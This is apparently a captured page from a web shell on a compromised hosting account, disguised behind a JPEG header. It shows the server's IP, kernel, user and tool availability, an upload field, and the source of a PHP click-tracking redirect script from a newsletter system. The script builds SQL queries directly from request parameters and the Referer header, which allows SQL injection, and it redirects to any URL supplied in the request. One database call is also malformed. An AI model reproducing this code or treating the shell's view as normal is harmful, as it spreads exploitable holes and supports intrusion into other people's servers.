ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.136 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/lachocolateriedevirginie.fr/seo-mailing/statistics/ |
Upload File : |
<?php
if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR'] <> ''){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
if(isset($_SERVER['HTTP_REFERER'])){
$ref = $_SERVER['HTTP_REFERER'];
}else{
$ref= '';
}
$url_link = $_GET['redirect'];
if (substr($url_link,0,7)=='http://') $url_link = substr($url_link,7);
$task = mysqli_fetch_array(mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_task WHERE id_md5 = '".$_GET['task']."' LIMIT 1"));
$user = mysqli_fetch_array(mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_user WHERE unsubscribe_code = '".$_GET['mail']."' LIMIT 1"));
$result = mysqli_query($db,"SELECT id,link FROM ".$INFO['sql_tbl_prefix']."statistics WHERE id_task = {$task['id']} AND id_mail_user = {$user['id']} AND link = '{$_GET['redirect']}' AND link != '' AND link != '#' AND ip = '{$ip}' LIMIT 1");
if(mysqli_num_rows($result) > 0){
$stat = mysqli_fetch_array($result);
$ip_array = explode(",",$ip);
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// $query = IPAPI::query(trim($ip_array[0]));
// $country = $query->country;
// $countryCode = $query->countryCode;
// $city = $query->regionName." - ".$query->city;
$country = $_SERVER['GEOIP_COUNTRY_NAME'];
$countryCode = $_SERVER['GEOIP_COUNTRY_CODE'];
$city = $_SERVER['GEOIP_CITY'];
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
$query = "UPDATE ".$INFO['sql_tbl_prefix']."statistics SET count_link= count_link + 1,
country = '{$country}', countryCode = '{$countryCode}', city ='{$city}', time_click = '".time()."' WHERE id = ".$stat['id']." LIMIT 1";
mysqli_query($db,$query) or exit("insert error" . mysqli_error()."<br>".$query);
}else{
$ip_array = explode(",",$ip);
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// $query = IPAPI::query(trim($ip_array[0]));
// $country = $query->country;
// $countryCode = $query->countryCode;
// $city = $query->regionName." - ".$query->city;
$country = $_SERVER['GEOIP_COUNTRY_NAME'];
$countryCode = $_SERVER['GEOIP_COUNTRY_CODE'];
$city = $_SERVER['GEOIP_CITY'];
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
$query = "INSERT INTO ".$INFO['sql_tbl_prefix']."statistics (id, id_task, id_mail_user, ref, link, count_link, ip, country, countryCode, city, time_click) VALUES ('', '{$task['id']}','{$user['id']}','".$ref."','".$_GET['redirect']."','1','{$ip_array[0]}', '{$country}', '{$countryCode}', '{$city}', '".time()."')";
mysqli_query($db,$query) or exit("insert error" . mysqli_error()."<br>".$query);
}
function addhttp($url) {
if (!preg_match("~^(?:f|ht)tps?://~i", $url)) {
$url = "http://" . $url;
}
return $url;
}
$url = addhttp($url_link);
$result = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."autoresponders WHERE type = 'clicked' AND status = 1 LIMIT 1");
if(mysqli_num_rows($result) > 0){
$templ = mysqli_fetch_array($result);
$mail = new PHPMailer();
$mail->CharSet = "utf-8";
$mail->SetFrom($_SET['email_from'], $_SET['titlefrom']);
$mail->AddReplyTo($_SET['email_from'],$_SET['titlefrom']);
$mail->AddAddress($INFO['email_from']);
$mail->Subject = $templ['title'];
$body = $templ['message'];
$body = str_replace('{subscriber_email}', $user['email'], $body);
$body = str_replace('{email_newsletter_subject}', $task['name'], $body);
$body = str_replace('{link_url}', '<a href="'.$url.'">'.$url.'</a>', $body);
$result_sh = mysqli_query("$db,SELECT * FROM ".$INFO['sql_tbl_prefix']."shortcodes WHERE system = 0");
if(mysqli_num_rows($result_sh)>0){
while($sh = mysqli_fetch_array($result_sh)){
$body = str_replace("{".$sh['shortcode']."}", $sh['value'], $body);
}
}
$text_html = $body;
$mail->MsgHTML($text_html);
$mail->Send();
}
header( 'Refresh: 0; url='.$url);
?>